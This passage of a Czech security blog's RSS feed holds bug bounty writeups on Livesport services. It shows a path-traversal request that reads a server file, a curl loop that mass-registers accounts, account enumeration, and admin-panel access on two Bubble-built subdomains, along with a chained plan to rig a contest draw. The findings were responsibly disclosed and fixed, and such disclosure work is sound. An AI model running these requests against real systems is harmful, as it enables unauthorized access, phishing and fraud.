<pre><code>GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:46:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 210
X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
Strict-Transport-Security: max-age=31536000; includeSubDomains

services:
redis:
image: &lt;aaaa&gt;/redis:test
restart: 'no'
ports:
- '6378:6379'
expose:
- '6378'
</code></pre>
<h1 id="časová-osa">Časová osa</h1>
<ul>
<li>
<ol start="10">
<li>února 2025: Zranitelnost byla nahlášena přes <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
</ol>
</li>
<li>
<ol start="10">
<li>února 2025: Tentýž den mě tým Product Security IRT společnosti Livesport informoval, že report obdrželi a budou jej dále zpracovávat.</li>
</ol>
</li>
<li>
<ol start="17">
<li>února 2025: Zranitelnost byla vyhodnocena jako platná a byl jsem informován, že už byla opravena.</li>
</ol>
</li>
<li>
<ol start="11">
<li>dubna 2025: <strong>$500.00</strong> odměna a <strong>7 bodů</strong> do Hall of Fame na <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
</ol>
</li>
</ul>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate>
      <category>path-traversal</category>
      <category>bug-bounty</category>
      <category>Bug Bounty</category>
    </item>
    <item>
      <title>Livesport - Vertical privilege escalation(s)</title>
      <link>https://vectorum.cz/cs/nalezene-zranitelnosti/2025/livesport-priv-escalation/</link>
      <guid>https://vectorum.cz/cs/nalezene-zranitelnosti/2025/livesport-priv-escalation/</guid>
      <description>Chyba v business logice, která umožňovala manipulaci s bonusy a výsledky soutěže.</description>
      <content:encoded><![CDATA[<h1 id="úvod">Úvod</h1>
<p>Zkoumal jsem některé služby Livesportu a všiml si něčeho podivného na tom, jak funguje registrace uživatelů na dvou jejich subdoménách – <code>bonusy.livesport.cz</code> a <code>soutez.livesport.cz</code>. To, co začalo jako celkem rutinní nález o špatně zabezpečeném registračním endpointu, rychle eskalovalo: stejná chyba v registraci se ukázala být vstupním bodem k plnému administrátorskému přístupu na obou subdoménách. Jedna mi umožnila manipulovat s výpisy bonusů na sázení zobrazovanými všem uživatelům, druhá mi umožnila zmanipulovat výsledky soutěže Euro 2024.</p>
<p>Všechny nálezy byly nahlášeny bezpečnostnímu týmu Livesportu, obratem opraveny a odměněny prostřednictvím jejich bug bounty programu. Tento writeup pokrývá celý řetězec napříč všemi třemi reporty.</p>
<blockquote>
<p><strong>Poznámka ke klasifikaci:</strong> Problém s řízením přístupu je technicky nejlépe popsán jako <em>privilege misassignment at registration</em> – noví uživatelé získali administrátorský přístup bez jakéhokoli eskalačního kroku. V praxi většina bug bounty programů a taxonomie OWASP Broken Access Control (A01:2025) řadí tento případ pod Vertical Privilege Escalation, a přesně tak byl i nahlášen a přijat. Pokud si píšete vlastní reporty, vyplatí se o té nuanci vědět.</p>
</blockquote>
<h1 id="cíl">Cíl</h1>
<p>Obě dotčené aplikace jsou postavené na platformě <a href="https://bubble.io">Bubble</a>, no-code platformě, která překládá frontendové interakce na API volání proti backendovému runtime. Bubble vystavuje sadu standardních endpointů pro správu uživatelů (<code>/user/signup</code>, <code>/user/login</code>, <code>/user/hi</code>, atd.) a endpoint pro spouštění workflow (<code>/workflow/start</code>), který řídí server-side business logiku. Pochopení této základní platformy se ukázalo být klíčové pro všechny nálezy.</p>
<p>Obě subdomény měly odlišný účel, ale sdílely stejný základ v Bubble a, jak se ukázalo, i stejné bezpečnostní chyby v konfiguraci:</p>
<ul>
<li><strong><code>bonusy.livesport.cz</code></strong> – srovnávací stránka bonusů pro české sázkové operátory (Tipsport, Fortuna, Betano, Chance), zobrazující vkladové bonusy, nabídky free betů a affiliate CTA.</li>
<li><strong><code>soutez.livesport.cz</code></strong> – soutěžní platforma navázaná na Euro 2024, umožňující uživatelům tipovat výsledky zápasů o možnost vyhrát ceny.</li>
</ul>
<h1 id="nálezy">Nálezy</h1>
<h2 id="1-nezabezpečený-registrační-endpoint">#1: Nezabezpečený registrační endpoint</h2>
<p><strong>Dotčené URL:</strong> <code>https://bonusy.livesport.cz</code> · <code>https://soutez.livesport.cz</code></p>
<h3 id="popis"><strong>Popis</strong></h3>
<p>Při mapování útočné plochy obou aplikací jsem si všiml, že Bubble-standardní endpoint <code>/user/signup</code> je veřejně dostupný a přijímá registrace bez jakékoli smysluplné validace. Nakupily se na sebe tři problémy:</p>
<ol>
<li><strong>Žádné ověření e-mailu</strong> – účty byly vytvořeny a okamžitě aktivní; žádný potvrzovací odkaz, žádná výzva.</li>
<li><strong>Slabá politika hesel</strong> – endpoint akceptoval heslo dlouhé i jediný znak.</li>
<li><strong>Žádný rate limiting</strong> – nic nebránilo automatizovanému hromadnému vytváření účtů.</li>
</ol>
<h3 id="proof-of-concept"><strong>Proof of Concept</strong></h3>
<p>Objevování bylo postupné. Zavolání endpointu bez parametrů vrátilo popisnou chybu:</p>
<pre><code>GET /user/signup HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;NO_EMAIL&quot;,&quot;translation&quot;:&quot;Prosím zadejte email&quot;}
</code></pre>
<p>Přidání e-mailu, ale bez hesla:</p>
<pre><code>GET /user/signup?email=test2@qwerty.com HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;NO_PASSWORD&quot;,&quot;translation&quot;:&quot;Prosím zadejte heslo&quot;}
</code></pre>
<p>A s obojím – úspěch, s jednoznakovým heslem:</p>
<pre><code>GET /user/signup?email=test2@qwerty.com&amp;password=a HTTP/2
Host: bonusy.livesport.cz

HTTP/2 200 OK
&quot;1718007830927x469356327557668000&quot;
</code></pre>
<p>Odpověď vrátila interní ID nového uživatele a session cookies byly okamžitě nastaveny a platné.</p>
<p><strong>Hromadné vytváření účtů</strong></p>
<p>Pro potvrzení absence rate limitingu jsem napsal rychlý Bash skript:</p>
<pre><code>#!/bin/bash
for i in {1..10}; do
  email=&quot;testuser$i@qwerty.com&quot;
  password=&quot;a&quot;
  curl -X GET &quot;https://bonusy.livesport.cz/user/signup?email=$email&amp;password=$password&quot;
done
</code></pre>
<p>Všech deset účtů bylo vytvořeno v rychlém sledu bez jakéhokoli omezování nebo blokování. Záměrně jsem se zastavil u deseti (s dohledatelným rozsahem <code>testuser1-10@qwerty.com</code>), aby bylo možné účty v databázi snadno najít a smazat.</p>
<p><strong>Enumerace účtů</strong></p>
<p>Užitečný vedlejší efekt popisných chybových hlášení: opětovná registrace již obsazeného e-mailu vrátila odlišnou chybu <code>USED_EMAIL</code>, což umožňovalo snadno zjistit, zda je daná adresa na platformě zaregistrovaná.</p>
<pre><code>HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;USED_EMAIL&quot;,&quot;translation&quot;:&quot;Tento email se již používá: testuser3@qwerty.com&quot;}
</code></pre>
<h3 id="dopad"><strong>Dopad</strong></h3>
<ul>
<li><strong>Enumerace účtů</strong> – útočník může zjistit, které e-mailové adresy mají registrované účty.</li>
<li><strong>Slabá politika hesel</strong> – triviální brute-force proti jakémukoli účtu, jehož e-mail je známý.</li>
<li><strong>Hromadné vytváření účtů</strong> – spam, zneužití kvót na uživatele a potenciální vyčerpání zdrojů.</li>
</ul>
<p>Samo o sobě jde o nález střední závažnosti. V kombinaci s nálezy <strong>#2</strong> a <strong>#3</strong> níže se závažnost výrazně násobí.</p>
<h2 id="2-vertical-privilege-escalation-na-bonusylivesportcz">#2: Vertical Privilege Escalation na bonusy.livesport.cz</h2>
<p><strong>Dotčené URL:</strong> <code>https://bonusy.livesport.cz</code></p>
<h3 id="popis-1"><strong>Popis</strong></h3>
<p>Po registraci testovacího účtu na <code>bonusy.livesport.cz</code> přes nechráněný registrační endpoint jsem prozkoumal, k čemu má daný účet přístup. Admin panel na <code>https://bonusy.livesport.cz/admin/</code> se ukázal být plně přístupný – s kompletními právy pro čtení, zápis a mazání nad všemi výpisy bonusů na webu.</p>
<p>Datový model uživatele potvrdil, že účet neměl žádnou zvláštní roli. Volání <code>/api/1.1/init/data</code> ukázalo <code>_type: &quot;user&quot;</code> bez admin příznaku, členství ve skupině nebo jakéhokoli povýšeného atributu. Navzdory tomu byl admin panel i všechna jeho workflow volně přístupné a plně funkční.</p>
<h3 id="proof-of-concept-1"><strong>Proof of Concept</strong></h3>
<p>Pomocí testovacího účtu <code>bugbounty01@qwerty.com</code> vytvořeného přes <code>/user/signup</code> proběhlo přihlášení do admin panelu okamžitě. Uvnitř admin panelu na <strong>https://bonusy.livesport.cz/admin/</strong> jsem měl přístup k:</p>
<ul>
<li>Úplnému seznamu všech aktuálních výpisů bonusů s ovládacími prvky pro úpravu a smazání každé položky</li>
<li>Tlačítku <strong>Create Bonus</strong> pro přidání nových výpisů</li>
</ul>
<p>Přihlášení do administrace.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.03-1024x605.png" alt="" /></p>
<p>Viděl jsem všechny dostupné bonusy.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.27-1024x726.png" alt="" /></p>
<p>Mohu libovolně upravovat kterýkoli ze stávajících bonusů (Tipsport – Free 500 CZK for your first bets). Případně je zde ikona „koše“, což znamená, že mohu jakýkoli bonus zároveň smazat.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.41-1024x726.png" alt="" /></p>
<p>Nebo je možné vytvořit zcela nový bonus pomocí tlačítka „Create Bonus“.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.56-1024x727.png" alt="" /></p>
<p>Čistě pro účely proof-of-conceptu jsem si dovolil vytvořit nový bonus s názvem „Test Bonus – Non-functional“, abych potvrdil výše uvedené tvrzení, že vše lze skutečně libovolně upravovat. URL jsem nastavil na https://livesport.cz, takže pokud jej „náhodou“ navštívíte, budete v nejhorším případě přesměrováni na váš hlavní web.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.05.16-1024x727.png" alt="" /></p>
<p>Bonus vytvořen.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.05.29-1024x396.png" alt="" /></p>
<h3 id="dopad-1">Dopad</h3>
<p>Dopad je zde závažnější, než by se zprvu mohlo zdát. Útočník s tímto přístupem by mohl:</p>
<ul>
<li>
<p><strong>Manipulace obsahu pro phishing:</strong> Upravit CTA URL stávajících výpisů bonusů tak, aby přesměrovávaly uživatele na phishingové stránky ovládané útočníkem. Stránka bonusy.livesport.cz je důvěryhodná služba Livesportu, takže uživatelé klikající na tlačítko „Tipsport - 500 Kč zdarma“ by neměli důvod tušit, že cíl byl podměněn.</p>
</li>
<li>
<p><strong>Vytváření falešných bonusů:</strong> Vytvořit zcela smyšlené, vysoce atraktivní bonusy pro maximalizaci prokliků na škodlivou URL – zneužitím důvěry, kterou uživatelé vkládají do značky Livesport.</p>
</li>
<li>
<p><strong>Ničení obsahu:</strong> Smazat všechny stávající výpisy a narušit tak základní funkci stránky.</p>
</li>
</ul>
<p>Zejména phishingový vektor představuje významné riziko pro koncové uživatele, nejen pro Livesport z provozního hlediska.</p>
<h2 id="3-vertical-privilege-escalation-na-soutezlivesportcz">#3: Vertical Privilege Escalation na soutez.livesport.cz</h2>
<p><strong>Dotčené URL:</strong> <code>https://soutez.livesport.cz</code></p>
<h3 id="popis-2">Popis</h3>
<p>Stejná chyba v konfiguraci byla přítomná i na soutěžní subdoméně. Po registraci přes <code>/user/signup</code> byl admin panel na <code>https://soutez.livesport.cz/admin/</code> plně přístupný. V tomto případě byly v sázce jiné věci: admin panel ovládal losování soutěže Euro 2024.</p>
<h3 id="proof-of-concept-2">Proof of Concept</h3>
<p>Testovací účet <code>bugbounty02@qwerty.com</code> byl zaregistrován a použit k autentizaci proti admin panelu přes <code>POST /workflow/start</code>. Server vrátil <code>&quot;outcome&quot;:&quot;success&quot;</code> a session byla ustanovena.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.04-1024x741.png" alt="" /></p>
<p>Úspěšně jsem se přihlásil do admin panelu. Uvnitř panelu <strong>Administrace Soutěže</strong> byla v té době aktivní soutěž tipovací na zápas Německo vs. Skotsko (14. června 2024, 21:00) s 30 odeslanými tipy a dostupným a funkčním tlačítkem <strong>Vylosovat</strong>. S funkcí losování jsem neinteragoval. Zastavil jsem se u potvrzení přístupu, zdokumentoval jej a okamžitě nahlásil.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.32-1024x759.png" alt="" /></p>
<p>V době, kdy jsem tento report odesílal Livesportu, tato anketa běžela.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.57-1024x759.png" alt="" /></p>
<h3 id="dopad-2">Dopad</h3>
<p>Celý řetězec zneužití s využitím nálezů #1 a #3 dohromady:</p>
<ol>
<li>Zaregistrovat více účtů přes nechráněný endpoint <code>/user/signup</code> – bez limitu, bez ověření.</li>
<li>Odeslat z každého účtu soutěžní tipy a maximalizovat tak podíl tipů patřících útočníkovi.</li>
<li>Přihlásit se do admin panelu s kterýmkoli z týchž účtů.</li>
<li>Spustit losování výherce ve chvíli, která maximalizuje šanci, že bude vybrán jeden z vlastních tipů – nebo prostě počkat a losování zopakovat, pokud výsledek není příznivý (podle toho, jak je losovací workflow implementováno).</li>
</ol>
<p><strong>Každou budoucí soutěž na této platformě by bylo možné zmanipulovat a vyhrát na počkání.</strong> Kombinace hromadného vytváření účtů a přístupu k admin losování z toho udělala kompletní selhání integrity soutěže.</p>
<h1 id="časová-osa">Časová osa</h1>
<ul>
<li>
<ol start="14">
<li>června 2024: Nezabezpečený registrační endpoint a Vertical Privilege Escalations nahlášeny přes <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
</ol>
</li>
<li>
<ol start="14">
<li>června 2024: Vendor potvrdil přijetí všech reportů ještě téhož dne a zranitelnosti byly vyhodnoceny jako platné.</li>
</ol>
</li>
<li>
<ol start="7">
<li>srpna 2024: Bohužel byly obě subdomény oficiálně out-of-scope, ale nálezy se jim líbily a odměnili je částkou <strong>$200.00</strong> a <strong>10 body</strong>. Oba weby byly stránky třetích stran vytvořené přes Bubble.io jejich dodavatelem.</li>
</ol>
</li>
</ul>
]]></content:encoded>
      <pubDate>Fri, 12 Jun 2026 00:00:00 +0000</pubDate>
      <category>idor</category>
      <category>business-logic</category>
      <category>privilege-escalation</category>
      <category>bug-bounty</category>
      <category>Bug Bounty</category>
    </item>
  </channel>
</rss>
